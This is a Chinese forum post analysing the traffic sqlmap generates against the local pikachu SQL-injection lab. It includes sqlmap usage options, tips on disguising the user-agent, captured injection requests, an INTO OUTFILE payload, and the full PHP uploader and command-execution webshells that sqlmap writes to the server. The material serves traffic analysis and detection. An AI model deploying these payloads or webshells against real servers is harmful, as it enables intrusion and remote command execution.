本篇文章作者幽壑,本文属i春秋原创奖励计划,未经许可禁止转载。
https://bbs.ichunqiu.com/thread-63533-1-1.html
SQLMAP流量特征分析
测试靶场:pikachu
测试环境:PHP5.4、Apache 2.0、MYSQL5.0.10
测试工具:sqlmap 1.5.6.3
关于环境配置,记得将mysql的secure_file_priv设置为空。
SHOW VARIABLES LIKE "secure_file_priv";
此处变量值为 NULL,即没设置允许操作的目录,所以没法导出到文件。
所以找到mysql.ini文件,结尾添加 secure_file_priv=""
然后重启mysql服务。
http://127.0.0.1/pikachu/vul/sqli/sqli_id.php
sqlmap参数实例
-u "http://xx.xx.xx" //从链接获取扫描目标,GET方式
-u "http://www.target.com/vuln.php" --data="id=1" //从链接获取扫描目标,POST方式
-r 1.txt --dump -T oa_f1Agggg -D oa_db -batch //从文件中加载,处理POST数据包和cookie问题
-r 1.txt --current-db
-m urllist.txt//从文本中获取多个目标扫描,但是每一行只能有一个url
--dbs //获取数据库
-D 数据库 --tables //获取表名
-D 数据库 -T 数据库表 --columns //获取列名
-D 数据库 -T 数据库表 -C 数据库表名1,数据库表名2 --dump //获取字段
-p //指定参数
--os //探测系统
--tamper //修改注入的数据
-b,--banner //返回数据库的版本号
-current-user //当前数据库管理用户
--current-db //当前连接的数据库
--is-dba //判断当前的用户是否为管理,是的话会返回True
--users //当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户,列出并破解数据库用户的hash。
--passwords //当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
//设定探测风险等级
--risk
共有四个风险等级,0-4,
默认是1会测试大部分的测试语句,
2会增加基于时间的测试语句,
3会增加OR语句的SQL注入测试
--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" //设置请求头
--random-agent //随机请求头User-Agent
默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
--proxy=http://127.0.0.1:8080 //设置代理
--delay=1 //设置延迟
--batch //代表全自动 不用我们手动输入y/n
//设置回显等级,默认为1
-v 1
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认等级)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
流量分析
UA头隐藏
通过proxy参数让sqlmap把流量转发给burp来代理
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://127.0.0.1:8080 --os-shell
这里防止木马混乱后期不好清理就指定了一个新目录写入木马
随后我们一起来看数据包
这是最开始的数据包,也是sqlmap的探测包
GET /pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.6.3#dev (http://sqlmap.org)
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
发现sqlmap默认的UA头为User-Agent: sqlmap/1.5.6.3#dev (http://sqlmap.org)
所以如果没有伪装UA头的话,攻击流量都会暴露sqlmap和sqlmap的版本
一般通过--user-agent自定义ua头
--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
随后进行参数拼接pyload测试
GET /pikachu/vul/sqli/sqli_str.php?name=1%27%20UNION%20ALL%20SELECT%20CONCAT%280x71626a6a71%2CJSON_ARRAYAGG%28CONCAT_WS%280x76636a746365%2Cschema_name%29%29%2C0x7170707171%29%2CNULL%20FROM%20INFORMATION_SCHEMA.SCHEMATA%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.6.3#dev (http://sqlmap.org)
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mb0t9ruh324v0pgj7t31i6gnm2
Connection: close
解码一下参数如下
1' UNION ALL SELECT CONCAT(0x71626a6a71,IFNULL(CAST(schema_name AS NCHAR),0x20),0x7170707171),NULL FROM INFORMATION_SCHEMA.SCHEMATA#
在检查到注入点后,利用into outfile的方式写入临时的php文件,该临时php文件不可执行命令,但可文件上传。
利用ASCII HEX解密看看
1' LIMIT 0,1 INTO OUTFILE 'D:/h¬ker/phpstudy/WWW/pikachu/vul/sqli/mm/tmpuplhz.php' LINES TERMINATí BY 0x<?php[/size][/font][/backcolor][/color]
[color=#494b4d][backcolor=rgb(255, 255, 255)][font="][size=14px]if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=D:\\hacker\\phpstudy\\WWW\\pikachu\\vul\\sqli\\mm\\> <input type=submit name=upload value=upload></form>";}?>
继续观察数据包,sqlmap先是访问了一下这个php文件,随后通过这个具有上传功能的php上传了一个命令执行木马
上传的命令执行马如下
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";
找到我们上传的文件
两个木马的内容,上面这个是我们先写入的具有上传功能的php木马,下面的是我们通过上传功能上传的php命令执行木马
实际上是通过临时的php文件来上传另外一个可命令执行的php文件,以此来防止写入命令马后直接被杀掉。
当我们执行命令时
sqlmap会先尝试进行一个echo操作,来验证命令是否可以执行
随后才会执行输入的命令
退出–os-shell后,sqlmap会通过命令自动删除两个木马
小踩坑
1,在进行测试时记得设置secure_file_priv=‘’,否则导致写入文件失败,pikachu会提示mysql运行在secure_file_priv状态下。
2,上传木马选参数的时候,记得自定义上传木马路径,不然爆破起来后面清理很麻烦。
2,关闭防火墙,不然你就会看到这样,不管是上传马还是命令马都会直接被杀。